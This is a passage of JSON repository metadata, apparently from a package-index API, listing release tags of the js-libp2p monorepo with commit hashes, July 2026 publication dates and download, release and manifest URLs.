Hub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.14/manifests"},{"name":"peer-id-v6.0.13","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.13/manifests"},{"name":"peer-collections-v7.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.25/manifests"},{"name":"opentelemetry-metrics-v2.0.26","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.26/manifests"},{"name":"multistream-select-v7.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.25/manifests"},{"name":"mplex-v12.0.28","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.28/manifests"},{"name":"memory-v2.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.25/manifests"},{"name":"mdns-v12.0.28","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.28/manifests"},{"name":"logger-v6.2.11","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.11/manifests"},{"name":"libp2p-v3.3.7","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.7/manifests"},{"name":"keychain-v6.1.5","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.5/manifests"},{"name":"kad-dht-v16.4.1","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.1/manifests"},{"name":"interop-v14.0.33","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.33/manifests"},{"name":"interface-internal-v3.1.10","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.10/manifests"},{"name":"interface-compliance-tests-v7.0.28","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.28/manifests"},{"name":"integration-tests-v1.2.17","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.17/manifests"},{"name":"identify-v4.1.11","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.11/manifests"},{"name":"gossipsub-v16.1.0","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v16.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v16.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.1.0/manifests"},{"name":"floodsub-v11.0.27","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.27/manifests"},{"name":"fetch-v4.1.10","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.10/manifests"},{"name":"echo-v3.1.10","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.10/manifests"},{"name":"dcutr-v3.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.25/manifests"},{"name":"daemon-v6.0.33","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.33/manifests"},{"name":"daemon-server-v9.0.33","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.33/manifests"},{"name":"daemon-client-v10.0.33","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.33/manifests"},{"name":"config-v1.1.35","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.35/manifests"},{"name":"circuit-relay-v2-v4.2.10","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.10/manifests"},{"name":"bootstrap-v12.0.28","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.28/manifests"},{"name":"autonat-v3.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.25/manifests"},{"name":"autonat-v2-v2.1.1","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.1/manifests"},{"name":"webtransport-v6.0.32","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.32/manifests"},{"name":"websockets-v10.1.17","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.17/manifests"},{"name":"webrtc-v6.0.27","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.27/manifests"},{"name":"utils-v7.3.0","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.3.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.3.0/manifests"},{"name":"upnp-nat-v4.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.24/manifests"},{"name":"transport-interop-libp2p-main-v1.0.33","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.33/manifests"},{"name":"tls-v3.1.6","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.6/manifests"},{"name":"tcp-v11.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.24/manifests"},{"name":"prometheus-metrics-v5.0.25","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.25/manifests"},{"name":"pnet-v3.0.25","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.25/manifests"},{"name":"plaintext-v3.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.24/manifests"},{"name":"ping-v3.1.9","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs